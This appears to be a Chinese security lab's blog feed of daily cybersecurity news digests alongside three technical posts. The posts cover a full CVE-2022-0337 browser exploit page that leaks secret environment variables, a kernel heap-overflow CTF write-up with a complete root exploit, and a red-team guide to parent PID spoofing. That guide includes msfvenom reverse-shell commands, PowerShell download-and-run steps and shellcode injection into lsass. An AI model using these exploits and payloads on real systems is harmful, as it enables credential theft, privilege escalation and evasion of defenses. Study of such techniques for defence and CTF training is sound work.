网络安全日报 2022年04月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、T-Mobile 证实 Lapsus$ 获得了对其内部工具和源码的访问权限
https://thehackernews.com/2022/04/t-mobile-admits-lapsus-hackers-gained.html 2、Atlassian 发布漏洞补丁修复了高危Jira身份验证绕过漏洞
https://thehackernews.com/2022/04/atlassian-drops-patches-for-critical.html 3、研究人员发布了高危Java数字签名绕过漏洞PoC
https://thehackernews.com/2022/04/researcher-releases-poc-for-recent-java.html 4、Conti 勒索软件声称对哥斯达黎加的勒索攻击负责
https://securityaffairs.co/wordpress/130505/cyber-crime/costa-rica-conti-ransomware.html 5、Lemon_Duck 挖矿僵尸网络以 Docker 服务器为目标
https://securityaffairs.co/wordpress/130470/cyber-crime/lemon_duck-cryptomining-botnet-targets-docker.html 6、多个严重漏洞影响 SmartPTT、SmartICS 工业产品
https://www.securityweek.com/several-critical-vulnerabilities-affect-smartppt-smartics-industrial-products 7、在被关闭一年多后Emotet恶意软件正在卷土重来
https://www.theregister.com/2022/04/21/emotet-resurgence-email/ 8、网络犯罪分子冒充政府供应商进行IRS税务诈骗
https://securityaffairs.co/wordpress/130451/cyber-crime/cybercriminals-deliver-irs-tax-scams-phishing.html 9、里约热内卢财政部门遭到LockBit勒索软件攻击
https://therecord.media/rio-de-janeiro-finance-department-hit-with-lockbit-ransomware/ 10、Killnet黑客组织对捷克多个实体发起DDoS攻击
https://www.govinfosecurity.com/conti-ransomware-targets-costa-rican-government-entities-a-18939
有意思的CVE-2022-0337复现
前言
前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美刀,比较好奇的是价值10000美刀的漏洞是什么样子的,漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。
影响版本
Google Chrome版本范围92.x-96.x
Microsoft Edge版本范围92.x-96.x
Opera版本范围78.x-81.x
复现
在存在漏洞的浏览器F12的控制台输入payload
let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;
但是必须要访问一个存在的html,百度首页测试
保存后控制台输出环境变量username的值
漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!
EXP
<html>
<head>
<title>
CVE-2022-0337 System environment variables leak on Google Chrome,
Microsoft Edge and Opera
</title>
<meta charset="UTF-8" />
</head>
<style>
body {
background: rgba(212,0,0,0.2);
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
}
h1,
h2,
h3 {
-webkit-text-stroke: 1px #00000050;
}
h1 {
color: #d96c06;
font-size: 36px;
}
h2 {
color: #1ebe8e;
font-size: 46px;
}
h3 {
color: #c6f91f;
font-size: 18px;
}
h2 span {
color: #cf4848;
font-size: 70px;
}
#author {
font-size: 28px;
}
span {
font-weight: 100;
}
</style>
<body>
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
<!-- div used to click to open Save As dialog -->
<div id="pixel"></div>
<h3 id="userInfo"></h3>
<h1>Super Simple Game<span>******</span></h1>
<h2><span>**HOLD ENTER</span> for 2 seconds</h2>
<h3 id="gameover"></h3>
</body>
</html>
这里选择版本
92.0.4515.159(正式版本)
刷新页面后长按Enter键两秒即可触发payload
分析
分一下payload前面的49行之前内容是定义了html的样式,核心内容在
<script>
//how many time enter clicked in row
let countEnter = 0;
//is file downloaded
let isDownloaded = false;
//on page load
window.onload = function () {
const body = document.querySelector("body");
const pixel = document.querySelector("#pixel");
body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);
const randomNumber = Math.floor(Math.random() * 990) + 1;
const filename = `f${randomNumber}.f`;
//List of environment variables that hacker is interested in.
const environmentVariables = [
"USERNAME",
"USERDOMAIN",
"SESSIONNAME",
"COMPUTERNAME",
"KEY_VAULT_URL",
"SECRET_NAME",
"AZURE_TENANT_ID",
"AZURE_CLIENT_ID",
"AZURE_CLIENT_SECRET",
"TWILIO_ACCOUNT_SID",
"TWILIO_AUTH_TOKEN",
//'TOKEN',
//'PASSWORD'
];
const suggestedName =
environmentVariables.map((x) => `%${x}%`).join("@") + filename;
pixel.addEventListener("click", async () => {
//handle to get file
const handle = await window.showSaveFilePicker({ suggestedName });
//sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
//result from user
const username = handle.name.split("@")[0];
const userInfo = handle.name
.replaceAll(filename, "")
.split("@")
.map(
(x, i) =>
`${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
)
.join("<br>");
const guessWinPath = `C:/Users/${username}`;
document.querySelector(
"#userInfo"
).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
document.querySelector("#gameover").textContent =
"GAME OVER - Need refresh to start again";
});
};
function clickedEnter() {
countEnter++;
//if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
if (countEnter > 5 && !isDownloaded) {
pixel.click();
//set file is downloaded
isDownloaded = true;
}
}
function cancelEnter() {
//reset count enter if enter is not hold
countEnter = 0;
}
</script>
看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义
在63和64行定义了长按Enter键相当于触发script标签
随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f
suggestedName格式为定义的%{x}%@filename即
suggestedName=%{x}%@随机数.f
继续向下看
上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。
所以最终在执行payload的时候保存的文件名为
%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f
那么接下来需要思考两个问题
泄露的漏洞触发的原理又在哪里
能做什么呢?
1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。
2.因为windows中能够利用环境变量有很多,例如
AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY
结语
大佬毕竟是大佬呀!!!
网络安全日报 2022年04月22日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Pwn2Own Miami 2022 为参赛者提供了40万美元奖金
https://www.securityweek.com/ics-exploits-earn-hackers-400000-pwn2own-miami-2022 2、Drupal 修复了访问绕过、数据覆盖漏洞
https://www.securityweek.com/access-bypass-data-overwrite-vulnerabilities-patched-drupal 3、FBI 分享了有关 BlackCat 勒索软件的IOC信息
https://www.securityweek.com/fbi-shares-information-blackcat-ransomware-attacks 4、新的 BotenaGo 变种用 Mirai 感染 Lilin 摄像头
https://www.securityweek.com/new-botenago-variant-infects-lilin-security-cameras-mirai 5、思科修复了Cisco Umbrella 虚拟设备中的一个高危漏洞
https://securityaffairs.co/wordpress/130443/hacking/cisco-umbrella-default-ssh-key.html 6、高通和联发科芯片ALAC解码器严重RCE漏洞影响全球2/3的安卓设备
https://securityaffairs.co/wordpress/130459/hacking/critical-bug-popular-chipsets-android-hack.html 7、Lazarus APT 使用 TraderTraitor 恶意软件攻击加密货币公司
https://cyware.com/news/lazarus-apt-uses-tradertraitor-malware-to-target-cryptocurrency-organizations-b4c1eb47 8、加拿大航空公司Sunwing Airlines Inc遭到黑客攻击
https://www.infosecurity-magazine.com/news/cyberattackers-hit-sunwing-airlines/ 9、RainLoop邮件客户端的漏洞可以让黑客访问所有电子邮件
https://thehackernews.com/2022/04/unpatched-bug-in-rainloop-webmail-could.html 10、思科修补了 NSA 报告的虚拟会议软件漏洞
https://www.securityweek.com/cisco-patches-virtual-conference-software-vulnerability-reported-nsa
Kernel pwn 基础教程之 Heap Overflow
一、前言
在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程。然而在内核态中,堆内存的分配策略发生了变化。笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配策略,如有不对的地方欢迎师傅们指正。
二、前置知识
在Linux系统中通过分段与分页机制将物理内存划分成4kb大小的内存页,而涉及到内存分配不可避免的就会产生外部碎片与内部碎片问题,这个在物理页中也是一样的,为了避免这种情况内核管理物理页采用了两个策略:buddy system与slub算法。
伙伴系统(buddy system)以页为单位对内存进行管理,将相同大小的连续物理页以链表形式进行管理,物理页就像手拉手的好伙伴一样,这就是伙伴系统名字的由来。所有的空闲页以11个链表进行管理(2^n),而系统申请的内存大小总是能在伙伴系统中找到合适的范围,可以避免因为分配次数过多而产生外部碎片的情况。
当内核申请内存时,伙伴系统以页为单位进行分配,而内核在很多情况下并不需要一整页的内存空间,往往只需要很小的内存空间,而这也就造成了内部碎片的产生,而slub算法正是为了满足系统申请小内存的需求。
slub算法从伙伴系统申请空闲的内存页即slab,slab是由一个或多个内存页构成(一般为单页)。并把这个slab划分为一个个object,并将这些object组成一个单向链表进行管理,这里需要注意slub系统把内存块当成object看待,而不是伙伴系统中的页。当系统申请小内存时slub算法会根据kmem_cache_cpu中slab是否存在空闲object来进行操作:
1、kmem_cache_cpu中的slab存在空闲object,则直接分配object。
2、kmem_cache_cpu中的slab不存在空闲object,则会将全部分配的slab加入到kmem_cache_node的full链中,并从partial链中取出一个部分分配的slab,分配object给系统。
3、kmem_cache_cpu中的slab不存在空闲object且kmem_cache_node中也不存在半空闲的object,则会将全部分配的slab加入到kmem_cache_node的full链中,并向伙伴系统申请新的空闲页,分配object给系统。
三、漏洞演示
在前置知识中我们简单的介绍了内核内存分配策略,并且我们不难发现slub算法的管理方式与glibc中fastbin链类似,都是单链表形式管理,所以当内核存在堆溢出漏洞时我们完全可以通过修改其fd指针将我们想要进行写入的内存地址加入到freelist中。利用思路不算很难但是在实际利用中往往会因为环境中的一些随机性而增加利用的难度。
本次选择演示的例题是2019-SUCTF的sudrv例题,查看start.sh中的信息可以发现开启了kaslr保护与smep保护。
#! /bin/sh
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
-monitor /dev/null \
-nographic 2>/dev/null \
-smp cores=2,threads=1 \
-s \
-cpu kvm64,+smep
ida反编译程序,查看sudrv_ioctl函数内容。
可以看出ioctl中实现了三种功能,具体如下所示:
0x73311337 --> 申请堆块
0xDEADBEEF --> 调用sudrv_ioctl_cold_2函数
0x13377331 --> 释放堆块
其中sudrv_ioctl_cold_2函数的内容如下所示,发现其调用printk函数,格式化参数存于se_buf中,因题目环境未做出限制故我们可以通过dmesg命令查看printk函数的输出。
void __fastcall sudrv_ioctl_cold_2(__int64 se_buf, __int64 a2)
{
printk(se_buf, a2);
JUMPOUT(0x38LL);
}
模块中定义了sudrv_write函数,这个函数中使用的copy_user_generic_unrolled未对输入长度进行检测,存在堆溢出,并且su_buf作为printk函数中格式化字符串参数的位置,同时存在格式化字符串漏洞。
__int64 sudrv_write()
{
if ( copy_user_generic_unrolled(su_buf) )
return -1LL;
else
return sudrv_write_cold_1();
}
找到了漏洞点以后我们就可以构思利用思路了,结合我们之前学到的内核利用知识不难想到大体的利用思路框架
找到漏洞点 --> 绕过保护 --> 提权 --> 返回用户态获取rootshell
KASLR保护我们可以通过修改start.sh的kaslr为nokaslr暂时关闭保护,利用格式化漏洞泄露出地址后计算出相应偏移即可绕过KASLR保护。
SMEP保护即内核态禁止执行用户态代码,我们可以通过BYPASS_SMEP修改cr4寄存器的值关闭SMEP保护,再通过swapgs和iretq完成用户态的跳转即可获取到rootshell。
而关于如何劫持程序控制流,我们在前置知识中了解到了内核内存分配机制,并且在本题中存在堆溢出漏洞。我们可以通过格式化字符串泄露出栈地址并利用堆溢出漏洞覆盖掉在freelist中空间堆块的fd指针为栈地址,这样我们再申请堆内存即可申请到栈地址上,覆盖函数返回地址为我们布置的ropchain即可劫持程序流。
整体的利用思路就是这样,但是内核环境往往伴随着随机性,经常会出现的一种情况就是在freelist的空闲object并不是按照地址顺序进行排列的,这也就造成了往往我们通过堆溢出覆盖在freelist中object的fd指针。
预期期望堆溢出前:
se_buf -地址连续-> 空闲object -(fd)-> 空闲object
预期期望堆溢出后:
se_buf -地址连续-> 空闲object -(覆盖fd指针)-> 栈地址
+------------------------------------------------+
实际环境中可能出现的情况:
se_buf -地址不连续-> 空闲object -(fd)-> 空闲object
#因虚拟地址不连续,故无法通过溢出覆盖掉freelist中object的fd指针。
通过gdb远程动调我们可以看到内核内存的变化情况,在执行完kmalloc函数的时候观察rax中freelist的情况。
可以看到0x2f000结尾的object为我们通过kmalloc申请到的地址,然而其指向的下一个object地址并不是0x30000而是以0x2b000结尾,也就是说freelist中的内存地址会因为内核函数的调用而产生消耗,从而影响我们的布局利用。
即使我们成功劫持了程序流执行了ropchain,也会出现在提权时发生内核错误从而重启的情况。所以我们再利用本题的时候选择换一种思路,将原先的栈地址换成modprob_path地址加入到freelist链表中。在这里简单介绍一下为什么我们要劫持这个地址。
当内核执行一个错误的文件或未知文件类型的时候,就会调用modprob_path所指向的程序,如果我们修改他所指向的程序为我们自己写的一个sh文件,并利用system或execve函数去执行一个位置类型的文件,那么在发生错误的时候就会以root权限执行我们自己写的sh文件中的内容。
我们可以在自己的exp中通过system函数创建一个sh文件将root权限下的flag文件拷贝到tmp目录下并赋予777的权限。
system("echo -ne '#!/bin/sh\n/bin/cp /Flag/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
system("chmod +x /tmp/fl");
modprob_path的地址并不能从/proc/kallsyms中找到地址,不过我们可以通过其他函数对于modprob_path的引用找到它的地址。在/proc/kallsyms中查找__request_module函数地址,然后在gdb中查看函数的汇编信息,就可以找到modprob_path的地址。
我们在sudrv_write函数处下断点,然后在调用copy_user_generic_unrolled时可以发现其rdi指向的正是我们的modprob_path地址,rsi中为我们要写入的字符串。
ni继续往下走,发现已经成功写入。
完整EXP如下所示:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define KMALLOC 0x73311337
#define PRINTK 0xDEADBEEF
#define KFREE 0x13377331
unsigned long long int user_cs, user_ss, user_rflags, user_sp;
unsigned long long int raw_kernel_addr = 0xffffffff811c827f;
void main() {
unsigned long long int kernel_addr = 0;
unsigned long long int overflow[0x201] = {0};
int fd = open("/dev/meizijiutql", O_WRONLY);
char tmp_str[0x30];
system("echo -ne '#!/bin/sh\n/bin/cp /Flag/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl");
system("chmod +x /tmp/fl");
ioctl(fd, KMALLOC, 0xff0);
ioctl(fd, KMALLOC, 0xff0);
ioctl(fd, KMALLOC, 0xff0);
char *str = "%llx %llx %llx %llx %llx kernel: %llx %llx %llx %llx stack: %llx %llx";
write(fd, str, strlen(str));
// full printk buffer
ioctl(fd, PRINTK);
ioctl(fd, PRINTK);
system("dmesg |grep kernel | grep stack | cut -b 42-58 | head -1 > tmp.txt");
int fd_tmp = open("./tmp.txt", 2);
read(fd_tmp, tmp_str, sizeof(tmp_str));
sscanf(tmp_str, "%llx", &kernel_addr);
unsigned long long int offset = kernel_addr - raw_kernel_addr;
unsigned long long int modprob_path = 0xffffffff82242320 + offset;
printf("modprob_path: 0x%llx \n", modprob_path);
// // heap overflow
overflow[0x200] = modprob_path;
ioctl(fd, KMALLOC, 0xff0);
write(fd, overflow, sizeof(overflow));
ioctl(fd, KMALLOC, 0xff0);
write(fd, "/tmp/getflag.sh", 0x10);
ioctl(fd, KMALLOC, 0xff0);
write(fd, "/tmp/getflag.sh", 0x10);
ioctl(fd, KMALLOC, 0xff0);
write(fd, "/tmp/getflag.sh", 0x10);
system("/tmp/fl");
system("cat /tmp/flag");
}
四、总结
修改modprob_path中的字符串指向我们创建的sh文件的利用办法在有任意地址写入的时候是非常简洁有效的,相较于ROP需要先bypass然后再提权返回用户态相比不仅简练而且成功率要更高,而本文中仅仅是对内核内存分配策略进行了一些简单的概念性描述,而想要学的更加深入的师傅这边还是推荐再阅读完本篇文章后再去自主了解一些内核内存分配所涉及的关键代码,相信在学习的过程中你一定会有所收获的。
红队技术-父进程欺骗( MITRE ATT&CK框架:T1134)
概述
父进程欺骗是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。
该欺骗可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。
MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)
MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用
子技术:T1134.004 :访问令牌操作: 父 PID 欺骗
背景:
子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。
父PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限。
进程、PID和PPID
进程:在 Windows 中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID。
PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。 Windows 中通过 GetCurrentProcessID() 函数返回指定进程的 PID。
父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。
PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。
方法一(使用C++程序进行PID欺骗)
Didier Stevens最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip
请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。
在进程管理器中,你会看到 explorer.exe 在 PID 1624 上运行
因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。
E:\>SelectMyParent.exe notepad 1624
可以看到在PID 2836启动了notepad.exe
同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shell的exe
# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe
在受感染端,使用tasklist /v查看进程运行详情。
在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。
然后运行生成的shell.exe,并附属在explorer.exe的PID下
监听端收到的shell便是explorer.exe进程用户的权限
如果利用具有system权限的进程,即可进行提权。
方法二(使用Powershell DLL注入进行PID欺骗)
F-Secure 实验室利用 powershell 创建了替代上述Didier 二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载https://github.com/countercept/ppid-spoofing,首先在受害者机器上查看进程ID,这里我们选择 Powershell 的 PID 24092 作为父进程ID。
利用msfvenmon生成要注入的DLL
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes
然后进行注入:
Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll
可以看到注入的DLL在Notepad.exe中加载执行了。
通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe。
方法三(使用Powershell 脚本入进行PID欺骗)
Decoder-it 根据 Didier Stevens 提供的指南开发了一个 powershell 脚本,使用了 CreateProcessFromParent()方法,可以在此处找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例
然后执行如下命令:
powershell -ep bypass
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")
如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。
绕过UAC脚本可以在这里找到:https://github.com/samratashok/nishang/tree/master/Escalation
然后下载所需的文件,然后执行命令
$client=new-object System.Net.WebClient
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")
可以看到在lsass.exe下成功创建了子进程,因为lsass.exe是system权限,所以反弹shell也获取到了system权限。
方法四(使用C#程序进行PID欺骗)
py7hagoras开发了GetSystem项目,是上述技术的C#实现,可以在这里找到:https://github.com/py7hagoras/GetSystem.git
在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名
GetSystem.exe shell.exe -O lsass
注意:这里可能也需要绕过UAC或者提权,不然执行不成功。
方法五(通过PID欺骗注入Shellcode)
Chirag Savla 使用 C#开发了一个名为“ProcessInjection”的出色工具,它可以执行许多功能,包括通过 PID 欺骗进行的进程注入。通过提供有效的 PID,该工具会尝试使用 CreateProcess 等原生 API调用来欺骗 PID,然后将代码注入其中。该工具支持 hex、C 和 base64 格式的shellcode ,也可以选择 DLL 注入。工具在这里下载:https://github.com/3xpl01tc0d3r/ProcessInjection
首先,使用msfvenom创建一个shellcode代码
msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt
然后在目标机中下载
使用ProcessInjection.exe进行注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1
参数说明:
/ppath:目标 EXE 的进程路径(需要注入进程的路径)
/path:shellcode文件路径
/parentproc:父进程名称,目标EXE应在此进程下生成
/f:shellcode文件类型
/t:注入技术
支持的五种注入方式:
1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection
我们可以看到calc.exe在explorer.exe下,而shellcode则在calc.exe中执行。
也可以进行DLL注入
ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2
其他工具
https://github.com/Mr-Un1k0d3r/RemoteProcessInjection
https://github.com/xpn/getsystem-offline
https://github.com/hlldz/APC-PPID
https://github.com/ewilded/PPID_spoof
https://github.com/christophetd/spoofing-office-macro (VBA实现)
在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。
总结
攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。
网络安全日报 2022年04月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、AWS 的 Log4Shell 热补丁被发现严重漏洞,可导致容器逃逸和提权
https://www.securityweek.com/serious-vulnerabilities-found-awss-log4shell-hot-patches 2、CISA警告最近修补的Windows Print Spooler 漏洞已被利用
https://www.securityweek.com/organizations-warned-attacks-exploiting-recently-patched-windows-vulnerability 3、Oracle 2022 年 4 月重要更新发布 520 个新安全补丁
https://www.securityweek.com/oracle-releases-520-new-security-patches-april-2022-cpu 4、Snort Modbus预处理器中被发现一个严重DoS漏洞(CVE-2022-20685)
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-snort-dos-9D3hJLuj 5、加密货币交易所Currency遭受分布式拒绝服务攻击
https://www.govinfosecurity.com/crypto-firm-currencycom-mitigates-ddos-attack-a-18922 6、Okta表示Lapsus$的入侵行为仅影响了两名客户
https://www.zdnet.com/article/okta-says-lapsus-breach-hit-just-two-customers/ 7、研究人员:英政府内部网络曾遭“飞马”间谍软件攻击
https://www.cnbeta.com/articles/tech/1259993.htm 8、7-Zip被爆0day漏洞:可用于本地提权和执行代码
https://www.cnbeta.com/articles/tech/1259869.htm 9、恶意信息窃取软件Inno Stealer通过虚假Windows 11升级网站进行传播
https://cyware.com/news/inno-stealer-fake-windows-11-upgrade-spreads-infostealer-74a72e5d 10、QNAP 敦促客户禁用路由器上的 UPnP 端口转发
https://www.bleepingcomputer.com/news/security/qnap-urges-customers-to-disable-upnp-port-forwarding-on-routers/
网络安全日报 2022年04月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、联想发布补丁修复影响 110 多种型号笔记本电脑的 UEFI 固件严重漏洞
https://www.securityweek.com/firmware-flaws-allow-disabling-secure-boot-lenovo-laptops 2、卡巴斯基发布针对Yanluowang勒索软件的免费解密器
https://securityaffairs.co/wordpress/130369/malware/yanluowang-ransomware-free-decryptor.html 3、Pegasus 间谍软件在最近的攻击中利用了新的零点击 iPhone 漏洞
https://securityaffairs.co/wordpress/130360/malware/nso-group-pegasus-click-iphone-exploit.html 4、英国:2021-2022 年,超过 4200 万人的财务数据遭到泄露
https://www.techrepublic.com/article/over-42-million-people-in-the-uk-had-financial-data-compromised 5、专家发现一个出售被盗数据的新市场Industrial Spy
https://securityaffairs.co/wordpress/130323/cyber-crime/industrial-spy-marketplace.html 6、领英成为网络钓鱼攻击中被模仿得最多的品牌
https://www.infosecurity-magazine.com/news/linkedin-impersonated-brand/ 7、SolarMarker恶意软件新变种使用新的技术逃避检测
https://thehackernews.com/2022/04/new-solarmarker-malware-variant-using.html 8、GitHub封锁了两家大型俄罗斯银行的账户
https://www.hackread.com/github-blocks-large-russian-banks-accounts-us-sanctions/ 9、金融科技平台中的SSRF漏洞或导致银行账户信息泄露
